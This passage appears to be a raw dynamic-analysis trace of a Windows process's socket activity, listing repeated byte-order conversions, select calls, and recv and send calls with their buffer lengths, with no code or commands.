0x0 [0119.553] htons (hostshort=0x3393) returned 0x9333 [0119.553] htons (hostshort=0xf201) returned 0x1f2 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x3393) returned 0x9333 [0119.553] htons (hostshort=0xf201) returned 0x1f2 [0119.553] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x3393) returned 0x9333 [0119.553] htons (hostshort=0xf201) returned 0x1f2 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x3393) returned 0x9333 [0119.553] htons (hostshort=0xf201) returned 0x1f2 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x9333) returned 0x3393 [0119.553] htons (hostshort=0x1f2) returned 0xf201 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x3393) returned 0x9333 [0119.553] htons (hostshort=0xf201) returned 0x1f2 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x3393) returned 0x9333 [0119.553] htons (hostshort=0xf201) returned 0x1f2 [0119.553] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x3393) returned 0x9333 [0119.553] htons (hostshort=0xf201) returned 0x1f2 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x3393) returned 0x9333 [0119.553] htons (hostshort=0xf201) returned 0x1f2 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x9333) returned 0x3393 [0119.553] htons (hostshort=0x1f2) returned 0xf201 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x3393) returned 0x9333 [0119.553] htons (hostshort=0xf201) returned 0x1f2 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x3393) returned 0x9333 [0119.553] htons (hostshort=0xf201) returned 0x1f2 [0119.553] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x3393) returned 0x9333 [0119.553] htons (hostshort=0xf201) returned 0x1f2 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x3393) returned 0x9333 [0119.553] htons (hostshort=0xf201) returned 0x1f2 [0119.553] htons (hostshort=0x0) returned 0x0 [0119.553] htons (hostshort=0x9333) returned 0x3393 [0119.553] htons (hostshort=0x1f2) returned 0xf201 [0119.554] htons (hostshort=0x0) returned 0x0 [0119.554] htons (hostshort=0x3393) returned 0x9333 [0119.554] htons (hostshort=0xf201) returned 0x1f2 [0119.554] htons (hostshort=0x0) returned 0x0 [0119.554] htons (hostshort=0x3393) returned 0x9333 [0119.554] htons (hostshort=0xf201) returned 0x1f2 [0119.554] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.554] htons (hostshort=0x0) returned 0x0 [0119.554] htons (hostshort=0x3393) returned 0x9333 [0119.554] htons (hostshort=0xf201) returned 0x1f2 [0119.554] htons (hostshort=0x0) returned 0x0 [0119.554] htons (hostshort=0x3393) returned 0x9333 [0119.554] htons (hostshort=0xf201) returned 0x1f2 [0119.554] htons (hostshort=0x0) returned 0x0 [0119.554] htons (hostshort=0x9333) returned 0x3393 [0119.554] htons (hostshort=0x1f2) returned 0xf201 [0119.554] htons (hostshort=0x0) returned 0x0 [0119.554] htons (hostshort=0x3393) returned 0x9333 [0119.554] htons (hostshort=0xf201) returned 0x1f2 [0119.554] htons (hostshort=0x0) returned 0x0 [0119.554] htons (hostshort=0x3393) returned 0x9333 [0119.554] htons (hostshort=0xf201) returned 0x1f2 [0119.554] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.554] htons (hostshort=0x0) returned 0x0 [0119.554] htons (hostshort=0x3393) returned 0x9333 [0119.554] htons (hostshort=0xf201) returned 0x1f2 [0119.554] htons (hostshort=0x0) returned 0x0 [0119.554] htons (hostshort=0x3393) returned 0x9333 [0119.554] htons (hostshort=0xf201) returned 0x1f2 [0119.554] htons (hostshort=0x0) returned 0x0 [0119.554] htons (hostshort=0x9333) returned 0x3393 [0119.554] htons (hostshort=0x1f2) returned 0xf201 [0119.554] htons (hostshort=0x0) returned 0x0 [0119.554] htons (hostshort=0x3393) returned 0x9333 [0119.554] htons (hostshort=0xf201) returned 0x1f2 [0119.554] htons (hostshort=0x0) returned 0x0 [0119.554] htons (hostshort=0x3393) returned 0x9333 [0119.554] htons (hostshort=0xf201) returned 0x1f2 [0119.554] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.554] rand () returned 23986 [0119.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.554] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.554] GetCurrentThreadId () returned 0x918 [0119.554] WSASetLastError (iError=0) [0119.555] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.555] SetLastError (dwErrCode=0x0) [0119.555] WSASetLastError (iError=0) [0119.555] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.555] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.555] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.555] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.555] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.555] htons (hostshort=0x0) returned 0x0 [0119.555] htons (hostshort=0x3393) returned 0x9333 [0119.555] htons (hostshort=0xc001) returned 0x1c0 [0119.555] htons (hostshort=0x0) returned 0x0 [0119.555] htons (hostshort=0x3393) returned 0x9333 [0119.555] htons (hostshort=0xc001) returned 0x1c0 [0119.555] htons (hostshort=0x0) returned 0x0 [0119.555] htons (hostshort=0x9333) returned 0x3393 [0119.555] htons (hostshort=0x1c0) returned 0xc001 [0119.555] htons (hostshort=0x0) returned 0x0 [0119.555] htons (hostshort=0x3393) returned 0x9333 [0119.555] htons (hostshort=0xc001) returned 0x1c0 [0119.555] htons (hostshort=0x0) returned 0x0 [0119.555] htons (hostshort=0x3393) returned 0x9333 [0119.555] htons (hostshort=0xc001) returned 0x1c0 [0119.555] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.555] htons (hostshort=0x0) returned 0x0 [0119.555] htons (hostshort=0x3393) returned 0x9333 [0119.555] htons (hostshort=0xf201) returned 0x1f2 [0119.555] htons (hostshort=0x0) returned 0x0 [0119.555] htons (hostshort=0x3393) returned 0x9333 [0119.555] htons (hostshort=0xf201) returned 0x1f2 [0119.555] htons (hostshort=0x0) returned 0x0 [0119.555] htons (hostshort=0x9333) returned 0x3393 [0119.555] htons (hostshort=0x1f2) returned 0xf201 [0119.555] htons (hostshort=0x0) returned 0x0 [0119.555] htons (hostshort=0x3393) returned 0x9333 [0119.555] htons (hostshort=0xf201) returned 0x1f2 [0119.555] htons (hostshort=0x0) returned 0x0 [0119.555] htons (hostshort=0x3393) returned 0x9333 [0119.555] htons (hostshort=0xf201) returned 0x1f2 [0119.555] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.555] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x3393) returned 0x9333 [0119.556] htons (hostshort=0xf201) returned 0x1f2 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x3393) returned 0x9333 [0119.556] htons (hostshort=0xf201) returned 0x1f2 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x9333) returned 0x3393 [0119.556] htons (hostshort=0x1f2) returned 0xf201 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x3393) returned 0x9333 [0119.556] htons (hostshort=0xf201) returned 0x1f2 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x3393) returned 0x9333 [0119.556] htons (hostshort=0xf201) returned 0x1f2 [0119.556] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x3393) returned 0x9333 [0119.556] htons (hostshort=0xf201) returned 0x1f2 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x3393) returned 0x9333 [0119.556] htons (hostshort=0xf201) returned 0x1f2 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x9333) returned 0x3393 [0119.556] htons (hostshort=0x1f2) returned 0xf201 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x3393) returned 0x9333 [0119.556] htons (hostshort=0xf201) returned 0x1f2 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x3393) returned 0x9333 [0119.556] htons (hostshort=0xf201) returned 0x1f2 [0119.556] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x3393) returned 0x9333 [0119.556] htons (hostshort=0xf201) returned 0x1f2 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x3393) returned 0x9333 [0119.556] htons (hostshort=0xf201) returned 0x1f2 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x9333) returned 0x3393 [0119.556] htons (hostshort=0x1f2) returned 0xf201 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x3393) returned 0x9333 [0119.556] htons (hostshort=0xf201) returned 0x1f2 [0119.556] htons (hostshort=0x0) returned 0x0 [0119.556] htons (hostshort=0x3393) returned 0x9333 [0119.556] htons (hostshort=0xf201) returned 0x1f2 [0119.557] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x3393) returned 0x9333 [0119.557] htons (hostshort=0xf201) returned 0x1f2 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x3393) returned 0x9333 [0119.557] htons (hostshort=0xf201) returned 0x1f2 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x9333) returned 0x3393 [0119.557] htons (hostshort=0x1f2) returned 0xf201 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x3393) returned 0x9333 [0119.557] htons (hostshort=0xf201) returned 0x1f2 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x3393) returned 0x9333 [0119.557] htons (hostshort=0xf201) returned 0x1f2 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b23 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htonl (hostlong=0xa8fe7be7) returned 0xe77bfea8 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x9333) returned 0x3393 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b23 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x3393) returned 0x9333 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x9333) returned 0x3393 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htonl (hostlong=0xa8fe7be7) returned 0xe77bfea8 [0119.557] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x3393) returned 0x9333 [0119.557] htons (hostshort=0xf201) returned 0x1f2 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x3393) returned 0x9333 [0119.557] htons (hostshort=0xf201) returned 0x1f2 [0119.557] htons (hostshort=0x0) returned 0x0 [0119.557] htons (hostshort=0x9333) returned 0x3393 [0119.558] htons (hostshort=0x1f2) returned 0xf201 [0119.558] htons (hostshort=0x0) returned 0x0 [0119.558] htons (hostshort=0x3393) returned 0x9333 [0119.558] htons (hostshort=0xf201) returned 0x1f2 [0119.558] htons (hostshort=0x0) returned 0x0 [0119.558] htons (hostshort=0x3393) returned 0x9333 [0119.558] htons (hostshort=0xf201) returned 0x1f2 [0119.558] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.558] htons (hostshort=0x0) returned 0x0 [0119.558] htons (hostshort=0x3393) returned 0x9333 [0119.558] htons (hostshort=0xf201) returned 0x1f2 [0119.558] htons (hostshort=0x0) returned 0x0 [0119.558] htons (hostshort=0x3393) returned 0x9333 [0119.558] htons (hostshort=0xf201) returned 0x1f2 [0119.558] htons (hostshort=0x0) returned 0x0 [0119.558] htons (hostshort=0x9333) returned 0x3393 [0119.558] htons (hostshort=0x1f2) returned 0xf201 [0119.558] htons (hostshort=0x0) returned 0x0 [0119.558] htons (hostshort=0x3393) returned 0x9333 [0119.558] htons (hostshort=0xf201) returned 0x1f2 [0119.558] htons (hostshort=0x0) returned 0x0 [0119.558] htons (hostshort=0x3393) returned 0x9333 [0119.558] htons (hostshort=0xf201) returned 0x1f2 [0119.558] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.558] rand () returned 13290 [0119.558] rand () returned 9161 [0119.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.558] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.558] GetCurrentThreadId () returned 0x918 [0119.558] WSASetLastError (iError=0) [0119.558] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.558] SetLastError (dwErrCode=0x0) [0119.558] WSASetLastError (iError=0) [0119.558] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.558] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.558] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.558] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.558] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.558] htons (hostshort=0x0) returned 0x0 [0119.558] htons (hostshort=0x3393) returned 0x9333 [0119.558] htons (hostshort=0xf201) returned 0x1f2 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x3393) returned 0x9333 [0119.559] htons (hostshort=0xf201) returned 0x1f2 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x9333) returned 0x3393 [0119.559] htons (hostshort=0x1f2) returned 0xf201 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x3393) returned 0x9333 [0119.559] htons (hostshort=0xf201) returned 0x1f2 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x3393) returned 0x9333 [0119.559] htons (hostshort=0xf201) returned 0x1f2 [0119.559] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x3393) returned 0x9333 [0119.559] htons (hostshort=0xf201) returned 0x1f2 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x3393) returned 0x9333 [0119.559] htons (hostshort=0xf201) returned 0x1f2 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x9333) returned 0x3393 [0119.559] htons (hostshort=0x1f2) returned 0xf201 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x3393) returned 0x9333 [0119.559] htons (hostshort=0xf201) returned 0x1f2 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x3393) returned 0x9333 [0119.559] htons (hostshort=0xf201) returned 0x1f2 [0119.559] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x3393) returned 0x9333 [0119.559] htons (hostshort=0xf201) returned 0x1f2 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x3393) returned 0x9333 [0119.559] htons (hostshort=0xf201) returned 0x1f2 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x9333) returned 0x3393 [0119.559] htons (hostshort=0x1f2) returned 0xf201 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x3393) returned 0x9333 [0119.559] htons (hostshort=0xf201) returned 0x1f2 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x3393) returned 0x9333 [0119.559] htons (hostshort=0xf201) returned 0x1f2 [0119.559] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.559] htons (hostshort=0x0) returned 0x0 [0119.559] htons (hostshort=0x3393) returned 0x9333 [0119.560] htons (hostshort=0xf201) returned 0x1f2 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x3393) returned 0x9333 [0119.560] htons (hostshort=0xf201) returned 0x1f2 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x9333) returned 0x3393 [0119.560] htons (hostshort=0x1f2) returned 0xf201 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x3393) returned 0x9333 [0119.560] htons (hostshort=0xf201) returned 0x1f2 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x3393) returned 0x9333 [0119.560] htons (hostshort=0xf201) returned 0x1f2 [0119.560] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x3393) returned 0x9333 [0119.560] htons (hostshort=0xf201) returned 0x1f2 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x3393) returned 0x9333 [0119.560] htons (hostshort=0xf201) returned 0x1f2 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x9333) returned 0x3393 [0119.560] htons (hostshort=0x1f2) returned 0xf201 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x3393) returned 0x9333 [0119.560] htons (hostshort=0xf201) returned 0x1f2 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x3393) returned 0x9333 [0119.560] htons (hostshort=0xf201) returned 0x1f2 [0119.560] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x3393) returned 0x9333 [0119.560] htons (hostshort=0xf201) returned 0x1f2 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x3393) returned 0x9333 [0119.560] htons (hostshort=0xf201) returned 0x1f2 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x9333) returned 0x3393 [0119.560] htons (hostshort=0x1f2) returned 0xf201 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x3393) returned 0x9333 [0119.560] htons (hostshort=0xf201) returned 0x1f2 [0119.560] htons (hostshort=0x0) returned 0x0 [0119.560] htons (hostshort=0x3393) returned 0x9333 [0119.560] htons (hostshort=0xf201) returned 0x1f2 [0119.561] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.561] htons (hostshort=0x0) returned 0x0 [0119.561] htons (hostshort=0x3393) returned 0x9333 [0119.561] htons (hostshort=0xf201) returned 0x1f2 [0119.561] htons (hostshort=0x0) returned 0x0 [0119.561] htons (hostshort=0x3393) returned 0x9333 [0119.561] htons (hostshort=0xf201) returned 0x1f2 [0119.561] htons (hostshort=0x0) returned 0x0 [0119.561] htons (hostshort=0x9333) returned 0x3393 [0119.561] htons (hostshort=0x1f2) returned 0xf201 [0119.561] htons (hostshort=0x0) returned 0x0 [0119.561] htons (hostshort=0x3393) returned 0x9333 [0119.561] htons (hostshort=0xf201) returned 0x1f2 [0119.561] htons (hostshort=0x0) returned 0x0 [0119.561] htons (hostshort=0x3393) returned 0x9333 [0119.561] htons (hostshort=0xf201) returned 0x1f2 [0119.561] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.561] htons (hostshort=0x0) returned 0x0 [0119.561] htons (hostshort=0x3393) returned 0x9333 [0119.561] htons (hostshort=0xf201) returned 0x1f2 [0119.561] htons (hostshort=0x0) returned 0x0 [0119.561] htons (hostshort=0x3393) returned 0x9333 [0119.561] htons (hostshort=0xf201) returned 0x1f2 [0119.561] htons (hostshort=0x0) returned 0x0 [0119.561] htons (hostshort=0x9333) returned 0x3393 [0119.561] htons (hostshort=0x1f2) returned 0xf201 [0119.561] WSASetLastError (iError=0) [0119.561] send (in: s=0x1d4, buf=0x8697b3*, len=1057, flags=0 | out: buf=0x8697b3*) returned 1057 [0119.561] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.561] rand () returned 18636 [0119.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.561] WSASetLastError (iError=0) [0119.561] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.561] SetLastError (dwErrCode=0x0) [0119.561] WSASetLastError (iError=0) [0119.561] recv (in: s=0x1d4, buf=0x865668, len=792, flags=0 | out: buf=0x865668*) returned 792 [0119.561] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.561] rand () returned 22355 [0119.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.562] WSASetLastError (iError=0) [0119.562] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.562] SetLastError (dwErrCode=0x0) [0119.562] WSASetLastError (iError=0) [0119.562] recv (in: s=0x1d4, buf=0x865668, len=3304, flags=0 | out: buf=0x865668*) returned 3304 [0119.562] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.562] rand () returned 24767 [0119.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.562] WSASetLastError (iError=0) [0119.562] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.562] SetLastError (dwErrCode=0x0) [0119.562] WSASetLastError (iError=0) [0119.562] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.562] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.562] rand () returned 23655 [0119.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.562] WSASetLastError (iError=0) [0119.562] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.562] SetLastError (dwErrCode=0x0) [0119.562] WSASetLastError (iError=0) [0119.562] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.562] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.562] rand () returned 15574 [0119.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.562] WSASetLastError (iError=0) [0119.562] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.562] SetLastError (dwErrCode=0x0) [0119.563] WSASetLastError (iError=0) [0119.563] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.563] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.563] rand () returned 4031 [0119.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.563] WSASetLastError (iError=0) [0119.563] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.563] SetLastError (dwErrCode=0x0) [0119.563] WSASetLastError (iError=0) [0119.563] recv (in: s=0x1d4, buf=0x865668, len=1048, flags=0 | out: buf=0x865668*) returned 1048 [0119.563] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.563] rand () returned 12052 [0119.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.563] WSASetLastError (iError=0) [0119.563] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.563] SetLastError (dwErrCode=0x0) [0119.563] WSASetLastError (iError=0) [0119.563] recv (in: s=0x1d4, buf=0x865668, len=3108, flags=0 | out: buf=0x865668*) returned 3108 [0119.563] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.563] rand () returned 27350 [0119.563] rand () returned 1150 [0119.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.563] WSASetLastError (iError=0) [0119.563] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.563] SetLastError (dwErrCode=0x0) [0119.563] WSASetLastError (iError=0) [0119.563] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.563] WSASetLastError (iError=0) [0119.563] send (in: s=0x1d4, buf=0x8697b3*, len=543, flags=0 | out: buf=0x8697b3*) returned 543 [0119.564] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.564] rand () returned 16941 [0119.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.564] WSASetLastError (iError=0) [0119.564] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.564] SetLastError (dwErrCode=0x0) [0119.564] WSASetLastError (iError=0) [0119.564] recv (in: s=0x1d4, buf=0x865668, len=1630, flags=0 | out: buf=0x865668*) returned 1630 [0119.564] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.564] rand () returned 21724 [0119.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.564] WSASetLastError (iError=0) [0119.564] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.564] SetLastError (dwErrCode=0x0) [0119.564] WSASetLastError (iError=0) [0119.564] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.564] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, 